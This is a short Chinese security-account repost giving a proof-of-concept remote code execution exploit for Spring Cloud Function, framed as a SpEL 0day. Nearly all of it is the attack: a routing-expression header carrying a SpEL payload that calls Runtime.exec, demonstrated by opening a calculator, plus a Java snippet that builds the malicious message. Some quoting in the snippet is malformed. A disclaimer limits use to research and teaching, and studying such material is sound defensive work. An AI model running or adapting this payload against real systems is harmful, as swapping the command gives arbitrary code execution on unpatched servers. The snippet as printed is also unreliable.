点击上方蓝字“Ots安全”一起玩耍
spring-spel-0day-poc
这是 spring-cloud/spring-cloud-function Remote Code Exploit POC
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -acalculator.app")POC：
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);Message<String> message = MessageBuilder.withPayload("hello").setHeader(FunctionProperties.PREFIX + ".routing-expression","T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")").build();function.apply(message);
原文始发于微信公众号（Ots安全）：Spring Cloud Function SPEL RCE 漏洞利用
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论